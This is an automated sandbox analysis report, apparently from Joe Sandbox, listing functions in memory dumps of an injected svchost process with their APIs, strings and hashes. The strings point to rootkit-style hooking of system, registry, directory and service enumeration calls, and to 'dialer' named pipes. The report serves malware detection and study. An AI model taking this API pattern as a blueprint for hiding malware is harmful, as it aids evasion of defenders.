Function 00000257E10A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000257E10A7DAC
RtlCaptureContext.NTDLL ref: 00000257E10A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000257E10A7DF3
RtlVirtualUnwind.NTDLL ref: 00000257E10A7E34
IsDebuggerPresent.KERNEL32 ref: 00000257E10A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EB4

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 219ced55679ac893985f66a80f0dbd7178f5651cf27174fbf386b8ec505e6a56
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 29314A72249F808AEB65DF60F8867EE7360F784745F44802ADA4E57B98EF38C648C714

Function 00000257E10AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000257E10AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000257E10AD335
RtlVirtualUnwind.NTDLL ref: 00000257E10AD370
IsDebuggerPresent.KERNEL32 ref: 00000257E10AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3BE

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3bbfa850ad8dbd0e4a6fa2243018912ee9c80721fc4e2599e2c74e45bb328308
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 1531AD32258F8086EB69CF25FC467AE73A0F789755F504166EA9D43B98EF38C145CB04

Function 00000257E10A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
GetProcessHeap.KERNEL32 ref: 00000257E10A1327
HeapAlloc.KERNEL32 ref: 00000257E10A1338
RegEnumValueW.ADVAPI32 ref: 00000257E10A1397

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
HeapAlloc.KERNEL32 ref: 00000257E10A13ED
GetProcessHeap.KERNEL32 ref: 00000257E10A140A
HeapFree.KERNEL32 ref: 00000257E10A1418
lstrlenW.KERNEL32 ref: 00000257E10A1421
GetProcessHeap.KERNEL32 ref: 00000257E10A142F
HeapAlloc.KERNEL32 ref: 00000257E10A143D
StrCpyW.SHLWAPI ref: 00000257E10A145F
GetProcessHeap.KERNEL32 ref: 00000257E10A1476
HeapFree.KERNEL32 ref: 00000257E10A1484

Strings

d, xrefs: 00000257E10A135A

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eced55502f1a75a026b6edf846e6a0891afcc2511a2fde73ec7a25957e053ce4
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 39517C32248F8486EB59CF66F84A75A77A1F389F8AF088524DE5907718DF3CC049C704

Function 00000257E10A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Part of subcall function 00000257E10A1FD4: GetModuleHandleA.KERNEL32 ref: 00000257E10A1FEC
Part of subcall function 00000257E10A1FD4: GetProcAddress.KERNEL32 ref: 00000257E10A1FFD

Part of subcall function 00000257E10A5B30: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B

Strings

NtEnumerateKey, xrefs: 00000257E10A1DB9
NtResumeThread, xrefs: 00000257E10A1D62
advapi32.dll, xrefs: 00000257E10A1DF7, 00000257E10A1E18
NtQueryDirectoryFileEx, xrefs: 00000257E10A1D9C
NtDeviceIoControlFile, xrefs: 00000257E10A1E56
NtEnumerateValueKey, xrefs: 00000257E10A1DD6
sechost.dll, xrefs: 00000257E10A1E39
NtQuerySystemInformation, xrefs: 00000257E10A1D45
ntdll.dll, xrefs: 00000257E10A1D2D
EnumServiceGroupW, xrefs: 00000257E10A1DF0
EnumServicesStatusExW, xrefs: 00000257E10A1E11, 00000257E10A1E32
NtQueryDirectoryFile, xrefs: 00000257E10A1D7F

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 729b3f40a99a6114c8675349f500bf02ad9969b64215182506dd6b7d13de966c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 6C319574298F4AE1EA0FEFA5FCABBD46325B75434BF8054A3940902576DF3C8249C768

Function 00000257E1076910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E1076938
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E107698A
_RTC_Initialize.LIBCMT ref: 00000257E10769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10769DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E1076A09

Strings

`dynamic initializer for ', xrefs: 00000257E10769C7
`eh vector copy constructor iterator', xrefs: 00000257E1076A3B
`eh vector vbase copy constructor iterator', xrefs: 00000257E10769EE
scriptor', xrefs: 00000257E1076B39, 00000257E1076BB2, 00000257E1076BEC

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: c413f792152c6e77bcdec011d4ce604bdbff46f8c7e2d41a41648d6f97dd56db
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7481476178CF0586F65FBB2ABC4F3B922D0E785782F5480A49A2647797DB38C8458B0C

Function 00000257E10ACE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000257E10ACE37
FlsGetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE4C
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE6D
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE9A
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEAB
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEBC
SetLastError.KERNEL32 ref: 00000257E10ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000257E10AECCC,?,?,?,?,00000257E10ABF9F,?,?,?,?,?,00000257E10A7AB0), ref: 00000257E10ACF2C

Part of subcall function 00000257E10AD6CC: HeapAlloc.KERNEL32 ref: 00000257E10AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF54

Part of subcall function 00000257E10AD744: HeapFree.KERNEL32 ref: 00000257E10AD75A
Part of subcall function 00000257E10AD744: GetLastError.KERNEL32 ref: 00000257E10AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF76

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 44b74c0836ad876a2fac46d0e824247e53a8591ac7bd446e8d08f2f1267c89cf
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3D4182703CDF4441FAAFA7357E5F3AD22815B447B2F6547A4A936066D6DE38C401872C

Function 00000257E10A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000257E10A2259
GetCurrentProcessId.KERNEL32 ref: 00000257E10A2263

Part of subcall function 00000257E10A1934: OpenProcess.KERNEL32 ref: 00000257E10A1952
Part of subcall function 00000257E10A1934: IsWow64Process.KERNEL32 ref: 00000257E10A1968
Part of subcall function 00000257E10A1934: CloseHandle.KERNEL32 ref: 00000257E10A1983

CreateFileW.KERNEL32 ref: 00000257E10A22BC
WriteFile.KERNEL32 ref: 00000257E10A22E4
ReadFile.KERNEL32 ref: 00000257E10A2303
CloseHandle.KERNEL32 ref: 00000257E10A230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000257E10A2293
\\.\pipe\dialerchildproc64, xrefs: 00000257E10A228C

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: fd144254930c9193e2e316754b6910d439631fa1b8b54bcb3ad30ea55ac0c1ae
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: DB214F32658F4082FB19CB25F84A75A73A0F789BA6F504255EA6903BA8CF3CC149CF04

Function 00000257E10AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10AA5A1

Part of subcall function 00000257E10AB414: __GetUnwindTryBlock.LIBCMT ref: 00000257E10AB457
Part of subcall function 00000257E10AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E10AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E10AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E10AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E10AA9DA

Strings

csm, xrefs: 00000257E10AA69C
csm, xrefs: 00000257E10AA622
csm, xrefs: 00000257E10AA5BB

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fa66f7741ebcd80bb86e54b7b1d1724f64a0d38ed48e78e569a20c50e363ff0f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 46E1E572648F40CAEB6ADF65E84B39D77A0F748B99F100155EE8957B95CF34C081C714

Function 00000257E1079944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10799A1

Part of subcall function 00000257E107A814: __GetUnwindTryBlock.LIBCMT ref: 00000257E107A857
Part of subcall function 00000257E107A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E107A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E1079A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E1079CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E1079DDA

Strings

csm, xrefs: 00000257E10799BB
csm, xrefs: 00000257E1079A9C
csm, xrefs: 00000257E1079A22

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: eee8ddbebd137ff77ed4dfc8451c6d54f91bdde69a51e284d5195fa703101059
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: FFE1E472648F408AEB6AFF65E88B3AD37B0F7457A9F000156EE4A57B55CB34C490C704

Function 00000257E10AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000257E10AF510
GetProcAddress.KERNEL32 ref: 00000257E10AF51C

Strings

ext-ms-, xrefs: 00000257E10AF46D
api-ms-, xrefs: 00000257E10AF45A

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: cf054b1d2baf678fe8bdec6d8eaa147d53923dc8430d7e3ded5bb42e28665e5b
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2741C632399F0091FA1FDB16BC0B79A2391B745BE1F5942659D1E87784EF3CC4458328

Function 00000257E10A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A10B1
RegEnumValueW.ADVAPI32 ref: 00000257E10A1117
GetProcessHeap.KERNEL32 ref: 00000257E10A115A
HeapAlloc.KERNEL32 ref: 00000257E10A1168
GetProcessHeap.KERNEL32 ref: 00000257E10A1185
HeapFree.KERNEL32 ref: 00000257E10A1193

Strings

d, xrefs: 00000257E10A10D6

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9cf63d37dc8258112caa738864d3c548755d6f27b2a305309498d83b3183a8b3
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 27419F73218F84C6E765CF21F84A79E77A1F388B89F048129EA8907B58DF38D449CB14

Function 00000257E10AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD087
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0A6
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0CE
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0DF
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0F0

Strings

1%, xrefs: 00000257E10AD0CE
Y%, xrefs: 00000257E10AD0A6

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3937cb81b8b0f971906db0413d64368154e2d1c9df82cae5cad0a14440eaf12d
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C2118E707CCB8041FA6EA7357D5F36D71416B483F2F2443A4B93A066EADE78D4028728

Function 00000257E10A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E10A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E10A758A
_RTC_Initialize.LIBCMT ref: 00000257E10A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E10A7609

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1fcdb397b1644b17d16c1eb1e9d437d376732d2965c1ff5ed4ddc4445df92217
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 168117317CCF4186FB5FAB65BC4B39926D0BB89782F44C4A5DA0447396FB3AC4458728

Function 00000257E10A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000257E10A9E49
GetLastError.KERNEL32 ref: 00000257E10A9E57
LoadLibraryExW.KERNEL32 ref: 00000257E10A9E81
FreeLibrary.KERNEL32 ref: 00000257E10A9EC7
GetProcAddress.KERNEL32 ref: 00000257E10A9ED3

Strings

api-ms-, xrefs: 00000257E10A9E69

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1ca0844d76c3e8bd01ab4792baa35eba0e52544e90a3a5dfd8280d08fd67e20c
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: CB31F63139AF00E1EE1BDB02BC0BB5523D4B748BA2F5905659E2F4B792DF38C0458328

Function 00000257E10B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000257E10B3DE5
GetLastError.KERNEL32 ref: 00000257E10B3DF1
CloseHandle.KERNEL32 ref: 00000257E10B3E09
CreateFileW.KERNEL32 ref: 00000257E10B3E34
WriteConsoleW.KERNEL32 ref: 00000257E10B3E53

Strings

CONOUT$, xrefs: 00000257E10B3E15

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9ee7c4574fcb2fd013fb964aa6248de50fe65bdbb00ad364504beb63cc9ade48
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 3111BF31358F4086E756CB12FC4BB1972A4F388FE6F180265EA2A87794CF38C8148748

Function 00000257E10A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

Strings

wr, xrefs: 00000257E10A37FF

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9a2b3325603176c98f4169559021404f9569204c8e58316270e8b4dcf71a70dc
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 60118B36348F4086EF199B22F80E76A62B4FB88B86F040468DE990B794EF3DC545C718

Function 00000257E10A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B
GetThreadContext.KERNEL32 ref: 00000257E10A5CD5

Part of subcall function 00000257E10A5960: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5964

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 966c8cfc9cd363fdfda02b2bdcc18e9b8abbeec9a729aea55c5a0fc7a420839d
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: E6D1C976248F88C1DA75DB0AF89A35A77A0F388B85F104252EACD47BA9DF3CC551CB14

Function 00000257E10A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A2F27
HeapAlloc.KERNEL32 ref: 00000257E10A2F3A
StrCmpNIW.SHLWAPI ref: 00000257E10A2FAF
GetProcessHeap.KERNEL32 ref: 00000257E10A3015
HeapFree.KERNEL32 ref: 00000257E10A3023

Strings

dialer, xrefs: 00000257E10A2FA8

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: cdb653347486f95d6936b3a6e080e65dbc29c48c69199ff8dba1e233120f6aa2
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: CF31D232389F5186EA1ACF16FD4BB69A7A4FB44B86F084170AE4847B55EF34C4A18314

Function 00000257E10ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000257E10ACFAF
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10ACFE5
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD012
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD023
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD034
SetLastError.KERNEL32 ref: 00000257E10AD04F

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
